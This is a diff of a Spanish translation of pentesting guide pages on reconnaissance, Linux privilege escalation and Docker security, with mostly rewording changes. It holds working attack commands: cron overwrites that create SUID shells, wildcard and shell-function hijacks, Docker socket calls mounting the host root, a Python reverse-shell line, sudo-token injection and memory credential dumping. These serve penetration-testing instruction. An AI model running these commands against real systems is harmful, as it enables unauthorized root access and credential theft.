- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ es un fuzzer de fuerza bruta para subdominios acoplado con un algoritmo guiado por respuestas DNS que es inmensamente simple pero efectivo. Utiliza un conjunto de datos de entrada proporcionado, como una lista de palabras personalizada o registros DNS/TLS históricos, para sintetizar con precisión más nombres de dominio correspondientes y expandirlos aún más en un bucle basado en la información recopilada durante el escaneo DNS.
```
echo www | subzuf facebook.com
```
@ -406,9 +403,13 @@ echo www | subzuf facebook.com
Revisa esta publicación de blog que escribí sobre cómo **automatizar el descubrimiento de subdominios** de un dominio utilizando **Trickest workflows** para no tener que lanzar manualmente un montón de herramientas en mi computadora:
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %}
{{#ref}}
https://trickest.com/blog/full-subdomain-discovery-using-workflow/
{{#endref}}
{% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/" %}
{{#ref}}
https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/
{{#endref}}
### **VHosts / Hosts Virtuales**
@ -454,7 +455,7 @@ Puedes **monitorear** si se crean **nuevos subdominios** de un dominio monitorea
### **Buscando vulnerabilidades**
Verifica posibles [**tomas de control de subdominios**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
Verifica posibles [**tomas de subdominio**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
Si el **subdominio** está apuntando a algún **bucket S3**, [**verifica los permisos**](../../network-services-pentesting/pentesting-web/buckets/).
Si encuentras algún **subdominio con una IP diferente** de las que ya encontraste en el descubrimiento de activos, deberías realizar un **escaneo básico de vulnerabilidades** (usando Nessus u OpenVAS) y algún [**escaneo de puertos**](../pentesting-network/#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. Dependiendo de qué servicios estén en ejecución, puedes encontrar en **este libro algunos trucos para "atacarlos"**.\
@ -479,7 +480,7 @@ También puedes verificar dominios que apuntan a una dirección IP específica u
## Caza de servidores web
> Hemos encontrado todas las empresas y sus activos y conocemos los rangos de IP, dominios y subdominios dentro del alcance. Es hora de buscar servidores web.
> Hemos encontrado todas las empresas y sus activos y conocemos rangos de IP, dominios y subdominios dentro del alcance. Es hora de buscar servidores web.
En los pasos anteriores probablemente ya hayas realizado algún **reconocimiento de las IPs y dominios descubiertos**, así que puede que ya hayas **encontrado todos los posibles servidores web**. Sin embargo, si no lo has hecho, ahora vamos a ver algunos **trucos rápidos para buscar servidores web** dentro del alcance.
@ -501,7 +502,7 @@ Además, podrías usar [**eyeballer**](https://github.com/BishopFox/eyeballer) p
## Activos de Nube Pública
Para encontrar activos en la nube potenciales pertenecientes a una empresa, debes **comenzar con una lista de palabras clave que identifiquen a esa empresa**. Por ejemplo, para una empresa de criptomonedas podrías usar palabras como: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
Para encontrar activos potenciales en la nube que pertenezcan a una empresa, debes **comenzar con una lista de palabras clave que identifiquen a esa empresa**. Por ejemplo, para una empresa de criptomonedas podrías usar palabras como: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
También necesitarás listas de palabras de **palabras comunes utilizadas en buckets**:
@ -517,7 +518,7 @@ Recuerda que al buscar Activos en la Nube debes **buscar más que solo buckets e
### **Buscando vulnerabilidades**
Si encuentras cosas como **buckets abiertos o funciones de nube expuestas** deberías **acceder a ellas** y tratar de ver qué te ofrecen y si puedes abusar de ellas.
Si encuentras cosas como **buckets abiertos o funciones de nube expuestas** debes **acceder a ellas** y tratar de ver qué te ofrecen y si puedes abusar de ellas.
## Correos Electrónicos
@ -530,7 +531,7 @@ Con los **dominios** y **subdominios** dentro del alcance, básicamente tienes t
### **Buscando vulnerabilidades**
Los correos electrónicos serán útiles más adelante para **fuerza bruta en inicios de sesión web y servicios de autenticación** (como SSH). Además, son necesarios para **phishings**. Además, estas APIs te darán aún más **información sobre la persona** detrás del correo electrónico, lo cual es útil para la campaña de phishing.
Los correos electrónicos serán útiles más tarde para **fuerza bruta en inicios de sesión web y servicios de autenticación** (como SSH). Además, son necesarios para **phishings**. Además, estas APIs te darán aún más **información sobre la persona** detrás del correo electrónico, lo cual es útil para la campaña de phishing.
## Filtraciones de Credenciales
@ -575,13 +576,13 @@ _Nota que las herramientas que esperan ejecutar toda la base de datos usando el
### **Buscando vulnerabilidades**
Si encuentras credenciales o tokens de API **filtrados válidos**, esto es una victoria muy fácil.
Si encuentras credenciales o tokens de API **filtrados válidos**, esta es una victoria muy fácil.
## Vulnerabilidades de Código Público
Si encontraste que la empresa tiene **código de código abierto** puedes **analizarlo** y buscar **vulnerabilidades** en él.
**Dependiendo del lenguaje** hay diferentes **herramientas** que puedes usar:
**Dependiendo del lenguaje**, hay diferentes **herramientas** que puedes usar:
{{#ref}}
../../network-services-pentesting/pentesting-web/code-review-tools.md
@ -610,7 +611,7 @@ Así que ya has:
5. Encontrado todas las **IPs** (de y **no de CDNs**) dentro del alcance.
6. Encontrado todos los **servidores web** y tomado una **captura de pantalla** de ellos (¿algo extraño que valga la pena un examen más profundo?)
7. Encontrado todos los **activos potenciales de nube pública** pertenecientes a la empresa.
8. **Correos electrónicos**, **filtraciones de credenciales**, y **filtraciones de secretos** que podrían darte una **gran victoria muy fácilmente**.
8. **Correos electrónicos**, **filtraciones de credenciales** y **filtraciones de secretos** que podrían darte una **gran victoria muy fácilmente**.
9. **Pentesting todas las webs que encontraste**
## **Herramientas Automáticas de Reconocimiento Completo**

96
src/linux-hardening/privilege-escalation/README.md
View File

@ -6,7 +6,7 @@
### Información del SO
Comencemos a obtener información sobre el SO en ejecución
Comencemos a obtener información sobre el SO en ejecución.
```bash
(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
@ -162,13 +162,13 @@ Si tienes acceso SSH a la máquina, también podrías usar **openVAS** para veri
## Procesos
Echa un vistazo a **qué procesos** se están ejecutando y verifica si algún proceso tiene **más privilegios de los que debería** (¿quizás un tomcat ejecutado por root?)
Echa un vistazo a **qué procesos** se están ejecutando y verifica si algún proceso tiene **más privilegios de los que debería** (¿quizás un tomcat ejecutándose como root?)
```bash
ps aux
ps -ef
top -n 1
```
Siempre verifica si hay posibles [**electron/cef/chromium debuggers**] corriendo, podrías abusar de ello para escalar privilegios](electron-cef-chromium-debugger-abuse.md). **Linpeas** los detecta revisando el parámetro `--inspect` dentro de la línea de comandos del proceso.\
Siempre verifica si hay posibles [**electron/cef/chromium debuggers**] corriendo, podrías abusar de ello para escalar privilegios. **Linpeas** los detecta revisando el parámetro `--inspect` dentro de la línea de comandos del proceso.\
También **verifica tus privilegios sobre los binarios de los procesos**, tal vez puedas sobrescribir a alguien.
### Monitoreo de procesos
@ -215,7 +215,7 @@ done
```
#### /proc/$pid/maps & /proc/$pid/mem
Para un ID de proceso dado, **maps muestra cómo se mapea la memoria dentro del espacio de direcciones virtuales de ese proceso**; también muestra los **permisos de cada región mapeada**. El **archivo pseudo mem expone la memoria de los procesos**. A partir del archivo **maps** sabemos qué **regiones de memoria son legibles** y sus desplazamientos. Usamos esta información para **buscar en el archivo mem y volcar todas las regiones legibles** a un archivo.
Para un ID de proceso dado, **maps muestra cómo se mapea la memoria dentro del espacio de direcciones virtuales de ese proceso**; también muestra los **permisos de cada región mapeada**. El **archivo pseudo mem expone la memoria de los procesos**. A partir del archivo **maps sabemos qué regiones de memoria son legibles** y sus desplazamientos. Usamos esta información para **buscar en el archivo mem y volcar todas las regiones legibles** a un archivo.
```bash
procdump()
(
@ -276,7 +276,7 @@ Para volcar la memoria de un proceso, podrías usar:
#### Ejemplo manual
Si encuentras que el proceso de autenticación está en ejecución:
Si encuentras que el proceso del autenticador está en ejecución:
```bash
ps -ef | grep "authenticator"
root 2027 2025 0 11:46 ? 00:00:00 authenticator
@ -291,13 +291,13 @@ strings *.dump | grep -i password
La herramienta [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) **robará credenciales en texto claro de la memoria** y de algunos **archivos bien conocidos**. Requiere privilegios de root para funcionar correctamente.
| Característica | Nombre del Proceso |
| -------------------------------------------------- | -------------------- |
| Contraseña de GDM (Kali Desktop, Debian Desktop) | gdm-password |
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
| LightDM (Ubuntu Desktop) | lightdm |
| VSFTPd (Conexiones FTP Activas) | vsftpd |
| Apache2 (Sesiones HTTP Basic Auth Activas) | apache2 |
| OpenSSH (Sesiones SSH Activas - Uso de Sudo) | sshd: |
| ------------------------------------------------- | -------------------- |
| Contraseña de GDM (Kali Desktop, Debian Desktop) | gdm-password |
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
| LightDM (Ubuntu Desktop) | lightdm |
| VSFTPd (Conexiones FTP Activas) | vsftpd |
| Apache2 (Sesiones Activas de Autenticación HTTP Básica) | apache2 |
| OpenSSH (Sesiones SSH Activas - Uso de Sudo) | sshd: |
#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
```bash
@ -315,7 +315,7 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
```
## Trabajos programados/Cron
Verifica si algún trabajo programado es vulnerable. Tal vez puedas aprovechar un script que está siendo ejecutado por root (¿vulnerabilidad de comodín? ¿puede modificar archivos que usa root? ¿usar enlaces simbólicos? ¿crear archivos específicos en el directorio que usa root?).
Verifica si algún trabajo programado es vulnerable. Tal vez puedas aprovechar un script que se ejecute como root (¿vulnerabilidad de comodín? ¿puede modificar archivos que usa root? ¿usar enlaces simbólicos? ¿crear archivos específicos en el directorio que usa root?).
```bash
crontab -l
ls -al /etc/cron* /etc/at*
@ -334,13 +334,13 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid
```
### Cron usando un script con un comodín (Inyección de comodín)
### Cron usando un script con un comodín (Inyección de Comodín)
Si un script ejecutado por root tiene un “**\***” dentro de un comando, podrías explotar esto para hacer cosas inesperadas (como privesc). Ejemplo:
```bash
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
```
**Si el comodín está precedido por una ruta como** _**/some/path/\***_ **, no es vulnerable (incluso** _**./\***_ **no lo es).**
**Si el comodín está precedido de una ruta como** _**/some/path/\***_ **, no es vulnerable (incluso** _**./\***_ **no lo es).**
Lee la siguiente página para más trucos de explotación de comodines:
@ -356,7 +356,7 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p
```
Si el script ejecutado por root utiliza un **directorio donde tienes acceso total**, tal vez podría ser útil eliminar esa carpeta y **crear un enlace simbólico a otra** que sirva un script controlado por ti.
Si el script ejecutado por root utiliza un **directorio donde tienes acceso total**, podría ser útil eliminar esa carpeta y **crear un enlace simbólico a otra** que sirva un script controlado por ti.
```bash
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
```
@ -368,7 +368,7 @@ Por ejemplo, para **monitorear cada 0.1s durante 1 minuto**, **ordenar por los c
```bash
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
```
**También puedes usar** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (esto monitoreará y listará cada proceso que inicie).
**También puedes usar** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (esto monitoreará y listará cada proceso que se inicie).
### Trabajos cron invisibles
@ -399,7 +399,7 @@ ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
```
Luego, crea un **ejecutable** con el **mismo nombre que la ruta relativa del binario** dentro de la carpeta PATH de systemd en la que puedes escribir, y cuando se le pida al servicio que ejecute la acción vulnerable (**Iniciar**, **Detener**, **Recargar**), tu **puerta trasera se ejecutará** (los usuarios sin privilegios generalmente no pueden iniciar/detener servicios, pero verifica si puedes usar `sudo -l`).
Luego, crea un **ejecutable** con el **mismo nombre que el binario de la ruta relativa** dentro de la carpeta PATH de systemd en la que puedes escribir, y cuando se le pida al servicio que ejecute la acción vulnerable (**Iniciar**, **Detener**, **Recargar**), tu **puerta trasera se ejecutará** (los usuarios sin privilegios generalmente no pueden iniciar/detener servicios, pero verifica si puedes usar `sudo -l`).
**Aprende más sobre los servicios con `man systemd.service`.**
@ -445,16 +445,16 @@ Los sockets se pueden configurar utilizando archivos `.socket`.
**Aprende más sobre sockets con `man systemd.socket`.** Dentro de este archivo, se pueden configurar varios parámetros interesantes:
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Estas opciones son diferentes, pero se utiliza un resumen para **indicar dónde va a escuchar** el socket (la ruta del archivo de socket AF_UNIX, la IPv4/6 y/o el número de puerto a escuchar, etc.)
- `Accept`: Toma un argumento booleano. Si es **true**, se **crea una instancia de servicio para cada conexión entrante** y solo se pasa el socket de conexión a ella. Si es **false**, todos los sockets de escucha se **pasan a la unidad de servicio iniciada**, y solo se crea una unidad de servicio para todas las conexiones. Este valor se ignora para sockets de datagramas y FIFOs donde una sola unidad de servicio maneja incondicionalmente todo el tráfico entrante. **Por defecto es false**. Por razones de rendimiento, se recomienda escribir nuevos demonios solo de una manera que sea adecuada para `Accept=no`.
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Estas opciones son diferentes, pero se utiliza un resumen para **indicar dónde va a escuchar** el socket (la ruta del archivo de socket AF_UNIX, la dirección IPv4/6 y/o el número de puerto a escuchar, etc.)
- `Accept`: Toma un argumento booleano. Si es **true**, se **crea una instancia de servicio para cada conexión entrante** y solo se le pasa el socket de conexión. Si es **false**, todos los sockets de escucha se **pasan a la unidad de servicio iniciada**, y solo se crea una unidad de servicio para todas las conexiones. Este valor se ignora para sockets de datagramas y FIFOs donde una sola unidad de servicio maneja incondicionalmente todo el tráfico entrante. **Por defecto es false**. Por razones de rendimiento, se recomienda escribir nuevos demonios solo de una manera que sea adecuada para `Accept=no`.
- `ExecStartPre`, `ExecStartPost`: Toma una o más líneas de comando, que se **ejecutan antes** o **después** de que los **sockets**/FIFOs de escucha sean **creados** y vinculados, respectivamente. El primer token de la línea de comando debe ser un nombre de archivo absoluto, seguido de argumentos para el proceso.
- `ExecStopPre`, `ExecStopPost`: Comandos adicionales que se **ejecutan antes** o **después** de que los **sockets**/FIFOs de escucha sean **cerrados** y eliminados, respectivamente.
- `Service`: Especifica el nombre de la unidad de **servicio** **a activar** en el **tráfico entrante**. Esta configuración solo se permite para sockets con Accept=no. Por defecto, se utiliza el servicio que lleva el mismo nombre que el socket (con el sufijo reemplazado). En la mayoría de los casos, no debería ser necesario usar esta opción.
### Archivos .socket escribibles
Si encuentras un archivo `.socket` **escribible**, puedes **agregar** al principio de la sección `[Socket]` algo como: `ExecStartPre=/home/kali/sys/backdoor` y el backdoor se ejecutará antes de que se cree el socket. Por lo tanto, **probablemente necesitarás esperar hasta que la máquina se reinicie.**\
&#xNAN;_&#x4E;ote que el sistema debe estar utilizando esa configuración de archivo de socket o el backdoor no se ejecutará_
Si encuentras un archivo `.socket` **escribible**, puedes **agregar** al principio de la sección `[Socket]` algo como: `ExecStartPre=/home/kali/sys/backdoor` y la puerta trasera se ejecutará antes de que se cree el socket. Por lo tanto, **probablemente necesitarás esperar hasta que la máquina se reinicie.**\
&#xNAN;_&#x4E;ote que el sistema debe estar utilizando esa configuración de archivo de socket o la puerta trasera no se ejecutará_
### Sockets escribibles
@ -485,7 +485,7 @@ Ten en cuenta que puede haber algunos **sockets escuchando solicitudes HTTP** (_
```bash
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
```
Si el socket **responde con una solicitud HTTP**, entonces puedes **comunicarte** con él y tal vez **explotar alguna vulnerabilidad**.
Si el socket **responde con una** solicitud HTTP, entonces puedes **comunicarte** con él y tal vez **explotar alguna vulnerabilidad**.
### Socket de Docker Escribible
@ -510,7 +510,7 @@ En casos donde el CLI de Docker no está disponible, el socket de Docker aún pu
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
```
2. **Crear un Contenedor:** Envía una solicitud para crear un contenedor que monta el directorio raíz del sistema host.
2. **Crear un Contenedor:** Envía una solicitud para crear un contenedor que monte el directorio raíz del sistema host.
```bash
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
@ -564,11 +564,11 @@ runc-privilege-escalation.md
D-Bus es un sofisticado **sistema de Comunicación entre Procesos (IPC)** que permite a las aplicaciones interactuar y compartir datos de manera eficiente. Diseñado con el sistema Linux moderno en mente, ofrece un marco robusto para diferentes formas de comunicación entre aplicaciones.
El sistema es versátil, soportando IPC básico que mejora el intercambio de datos entre procesos, reminiscentes de **sockets de dominio UNIX mejorados**. Además, ayuda en la transmisión de eventos o señales, fomentando una integración fluida entre los componentes del sistema. Por ejemplo, una señal de un demonio Bluetooth sobre una llamada entrante puede hacer que un reproductor de música se silencie, mejorando la experiencia del usuario. Además, D-Bus soporta un sistema de objetos remotos, simplificando las solicitudes de servicio y las invocaciones de métodos entre aplicaciones, agilizando procesos que tradicionalmente eran complejos.
El sistema es versátil, soportando IPC básico que mejora el intercambio de datos entre procesos, reminiscentes de **sockets de dominio UNIX mejorados**. Además, ayuda en la transmisión de eventos o señales, fomentando una integración fluida entre los componentes del sistema. Por ejemplo, una señal de un demonio Bluetooth sobre una llamada entrante puede hacer que un reproductor de música se silencie, mejorando la experiencia del usuario. Adicionalmente, D-Bus soporta un sistema de objetos remotos, simplificando las solicitudes de servicio y las invocaciones de métodos entre aplicaciones, agilizando procesos que tradicionalmente eran complejos.
D-Bus opera bajo un **modelo de permitir/denegar**, gestionando los permisos de mensajes (llamadas a métodos, emisiones de señales, etc.) basados en el efecto acumulativo de las reglas de política que coinciden. Estas políticas especifican interacciones con el bus, permitiendo potencialmente la escalación de privilegios a través de la explotación de estos permisos.
D-Bus opera bajo un **modelo de permitir/negar**, gestionando los permisos de mensajes (llamadas a métodos, emisiones de señales, etc.) basados en el efecto acumulativo de las reglas de política que coinciden. Estas políticas especifican interacciones con el bus, permitiendo potencialmente la escalación de privilegios a través de la explotación de estos permisos.
Se proporciona un ejemplo de tal política en `/etc/dbus-1/system.d/wpa_supplicant.conf`, detallando los permisos para que el usuario root posea, envíe y reciba mensajes de `fi.w1.wpa_supplicant1`.
Un ejemplo de tal política en `/etc/dbus-1/system.d/wpa_supplicant.conf` se proporciona, detallando los permisos para que el usuario root posea, envíe y reciba mensajes de `fi.w1.wpa_supplicant1`.
Las políticas sin un usuario o grupo especificado se aplican de manera universal, mientras que las políticas de contexto "predeterminadas" se aplican a todos los que no están cubiertos por otras políticas específicas.
```xml
@ -621,7 +621,7 @@ Siempre verifica los servicios de red que se están ejecutando en la máquina co
```
### Sniffing
Verifica si puedes interceptar tráfico. Si puedes, podrías ser capaz de obtener algunas credenciales.
Verifica si puedes esnifar tráfico. Si puedes, podrías ser capaz de capturar algunas credenciales.
```
timeout 1 tcpdump
```
@ -653,7 +653,7 @@ gpg --list-keys 2>/dev/null
```
### Big UID
Algunas versiones de Linux fueron afectadas por un error que permite a los usuarios con **UID > INT_MAX** escalar privilegios. Más información: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) y [here](https://twitter.com/paragonsec/status/1071152249529884674).\
Algunas versiones de Linux se vieron afectadas por un error que permite a los usuarios con **UID > INT_MAX** escalar privilegios. Más información: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) y [here](https://twitter.com/paragonsec/status/1071152249529884674).\
**Explotarlo** usando: **`systemd-run -t /bin/bash`**
### Groups
@ -769,20 +769,20 @@ Esta técnica también se puede utilizar si un **suid** binario **ejecuta otro c
### Binario SUID con ruta de comando
Si el **suid** binario **ejecuta otro comando especificando la ruta**, entonces, puedes intentar **exportar una función** llamada como el comando que el archivo suid está llamando.
Si el **suid** binario **ejecuta otro comando especificando la ruta**, entonces, puedes intentar **exportar una función** con el mismo nombre que el comando que el archivo suid está llamando.
Por ejemplo, si un binario suid llama a _**/usr/sbin/service apache2 start**_ tienes que intentar crear la función y exportarla:
```bash
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service
```
Entonces, cuando llamas al binario suid, esta función se ejecutará
Entonces, cuando llamas al binario suid, esta función será ejecutada
### LD_PRELOAD & **LD_LIBRARY_PATH**
La variable de entorno **LD_PRELOAD** se utiliza para especificar una o más bibliotecas compartidas (.so files) que deben ser cargadas por el cargador antes que todas las demás, incluida la biblioteca estándar de C (`libc.so`). Este proceso se conoce como precarga de una biblioteca.
Sin embargo, para mantener la seguridad del sistema y prevenir que esta función sea explotada, particularmente con ejecutables **suid/sgid**, el sistema impone ciertas condiciones:
Sin embargo, para mantener la seguridad del sistema y prevenir que esta característica sea explotada, particularmente con ejecutables **suid/sgid**, el sistema impone ciertas condiciones:
- El cargador ignora **LD_PRELOAD** para ejecutables donde el ID de usuario real (_ruid_) no coincide con el ID de usuario efectivo (_euid_).
- Para ejecutables con suid/sgid, solo se precargan bibliotecas en rutas estándar que también son suid/sgid.
@ -892,7 +892,7 @@ eso significa que la biblioteca que has generado necesita tener una función lla
### GTFOBins
[**GTFOBins**](https://gtfobins.github.io) es una lista curada de binarios de Unix que pueden ser explotados por un atacante para eludir restricciones de seguridad locales. [**GTFOArgs**](https://gtfoargs.github.io/) es lo mismo pero para casos donde solo puedes **inyectar argumentos** en un comando.
[**GTFOBins**](https://gtfobins.github.io) es una lista curada de binarios de Unix que pueden ser explotados por un atacante para eludir las restricciones de seguridad locales. [**GTFOArgs**](https://gtfoargs.github.io/) es lo mismo pero para casos donde solo puedes **inyectar argumentos** en un comando.
El proyecto recopila funciones legítimas de binarios de Unix que pueden ser abusadas para salir de shells restringidos, escalar o mantener privilegios elevados, transferir archivos, generar shells bind y reverse, y facilitar otras tareas de post-explotación.
@ -901,9 +901,13 @@ El proyecto recopila funciones legítimas de binarios de Unix que pueden ser abu
> strace -o /dev/null /bin/sh\
> sudo awk 'BEGIN {system("/bin/sh")}'
{% embed url="https://gtfobins.github.io/" %}
{{#ref}}
https://gtfobins.github.io/
{{#endref}}
{% embed url="https://gtfoargs.github.io/" %}
{{#ref}}
https://gtfoargs.github.io/
{{#endref}}
### FallOfSudo
@ -940,7 +944,7 @@ bash exploit_v2.sh
bash exploit_v3.sh
sudo su
```
### /var/run/sudo/ts/\<NombreDeUsuario>
### /var/run/sudo/ts/\<Username>
Si tienes **permisos de escritura** en la carpeta o en cualquiera de los archivos creados dentro de la carpeta, puedes usar el binario [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) para **crear un token de sudo para un usuario y PID**.\
Por ejemplo, si puedes sobrescribir el archivo _/var/run/sudo/ts/sampleuser_ y tienes una shell como ese usuario con PID 1234, puedes **obtener privilegios de sudo** sin necesidad de conocer la contraseña haciendo:
@ -1091,11 +1095,11 @@ screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]
```
## secuestro de sesiones tmux
## secuestro de sesiones de tmux
Este era un problema con **versiones antiguas de tmux**. No pude secuestrar una sesión de tmux (v2.1) creada por root como un usuario no privilegiado.
**Listar sesiones tmux**
**Listar sesiones de tmux**
```bash
tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
@ -1134,7 +1138,7 @@ Especifica si el root puede iniciar sesión usando ssh, el valor predeterminado
- `yes`: el root puede iniciar sesión usando contraseña y clave privada
- `without-password` o `prohibit-password`: el root solo puede iniciar sesión con una clave privada
- `forced-commands-only`: el root puede iniciar sesión solo usando clave privada y si se especifican las opciones de comandos
- `forced-commands-only`: el root solo puede iniciar sesión usando clave privada y si se especifican las opciones de comandos
- `no`: no
### AuthorizedKeysFile
@ -1147,7 +1151,7 @@ Esa configuración indicará que si intentas iniciar sesión con la **clave priv
### ForwardAgent/AllowAgentForwarding
El reenvío del agente SSH te permite **usar tus claves SSH locales en lugar de dejar claves** (¡sin frases de contraseña!) en tu servidor. Así, podrás **saltar** a través de ssh **a un host** y desde allí **saltar a otro** host **usando** la **clave** ubicada en tu **host inicial**.
El reenvío del agente SSH te permite **usar tus claves SSH locales en lugar de dejar claves** (¡sin frases de contraseña!) en tu servidor. Así, podrás **saltar** vía ssh **a un host** y desde allí **saltar a otro** host **usando** la **clave** ubicada en tu **host inicial**.
Necesitas establecer esta opción en `$HOME/.ssh.config` así:
```
@ -1156,7 +1160,7 @@ ForwardAgent yes
```
Nota que si `Host` es `*`, cada vez que el usuario salta a una máquina diferente, ese host podrá acceder a las claves (lo cual es un problema de seguridad).
El archivo `/etc/ssh_config` puede **sobrescribir** estas **opciones** y permitir o denegar esta configuración.\
El archivo `/etc/ssh_config` puede **anular** estas **opciones** y permitir o denegar esta configuración.\
El archivo `/etc/sshd_config` puede **permitir** o **denegar** el reenvío de ssh-agent con la palabra clave `AllowAgentForwarding` (el valor predeterminado es permitir).
Si encuentras que el Forward Agent está configurado en un entorno, lee la siguiente página ya que **puedes abusar de ello para escalar privilegios**:
@ -1308,8 +1312,8 @@ Para **leer los registros, el grupo** [**adm**](interesting-groups-linux-pe/#adm
```
### Búsqueda de Credenciales Genéricas/Regex
También deberías buscar archivos que contengan la palabra "**password**" en su **nombre** o dentro del **contenido**, y también verificar IPs y correos electrónicos dentro de los logs, o expresiones regulares de hashes.\
No voy a listar aquí cómo hacer todo esto, pero si estás interesado, puedes revisar los últimos chequeos que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) realiza.
También debes buscar archivos que contengan la palabra "**password**" en su **nombre** o dentro del **contenido**, y también verificar IPs y correos electrónicos dentro de los registros, o expresiones regulares de hashes.\
No voy a enumerar aquí cómo hacer todo esto, pero si estás interesado, puedes revisar los últimos chequeos que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) realiza.
## Archivos Escribibles
@ -1326,7 +1330,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
Una vulnerabilidad en `logrotate` permite a los usuarios con **permisos de escritura** en un archivo de registro o sus directorios padre potencialmente obtener privilegios elevados. Esto se debe a que `logrotate`, que a menudo se ejecuta como **root**, puede ser manipulado para ejecutar archivos arbitrarios, especialmente en directorios como _**/etc/bash_completion.d/**_. Es importante verificar los permisos no solo en _/var/log_ sino también en cualquier directorio donde se aplique la rotación de registros.
> [!NOTE]
> Esta vulnerabilidad afecta a `logrotate` versión `3.18.0` y anteriores.
> Esta vulnerabilidad afecta a la versión `3.18.0` de `logrotate` y versiones anteriores.
Más información detallada sobre la vulnerabilidad se puede encontrar en esta página: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition).
@ -1340,9 +1344,9 @@ Esta vulnerabilidad es muy similar a [**CVE-2016-1247**](https://www.cvedetails.
Si, por cualquier motivo, un usuario puede **escribir** un script `ifcf-<cualquier cosa>` en _/etc/sysconfig/network-scripts_ **o** puede **ajustar** uno existente, entonces tu **sistema está comprometido**.
Los scripts de red, _ifcg-eth0_ por ejemplo, se utilizan para conexiones de red. Se ven exactamente como archivos .INI. Sin embargo, son \~sourced\~ en Linux por Network Manager (dispatcher.d).
Los scripts de red, _ifcg-eth0_ por ejemplo, se utilizan para conexiones de red. Se ven exactamente como archivos .INI. Sin embargo, son \~sourced\~ en Linux por el Network Manager (dispatcher.d).
En mi caso, el atributo `NAME=` en estos scripts de red no se maneja correctamente. Si tienes **espacio en blanco en el nombre, el sistema intenta ejecutar la parte después del espacio en blanco**. Esto significa que **todo lo que esté después del primer espacio en blanco se ejecuta como root**.
En mi caso, el atributo `NAME=` en estos scripts de red no se maneja correctamente. Si tienes **espacios en blanco en el nombre, el sistema intenta ejecutar la parte después del espacio en blanco**. Esto significa que **todo lo que esté después del primer espacio en blanco se ejecuta como root**.
Por ejemplo: _/etc/sysconfig/network-scripts/ifcfg-1337_
```bash

33
src/linux-hardening/privilege-escalation/docker-security/README.md
View File

@ -76,7 +76,7 @@ La firma de imágenes de Docker garantiza la seguridad e integridad de las imág
- Para activar la confianza en el contenido de Docker, establece `export DOCKER_CONTENT_TRUST=1`. Esta función está desactivada por defecto en Docker versión 1.10 y posteriores.
- Con esta función habilitada, solo se pueden descargar imágenes firmadas. El primer envío de imágenes requiere establecer frases de contraseña para las claves raíz y de etiquetado, con Docker también soportando Yubikey para una mayor seguridad. Más detalles se pueden encontrar [aquí](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
- Intentar descargar una imagen no firmada con la confianza en el contenido habilitada resulta en un error "No trust data for latest".
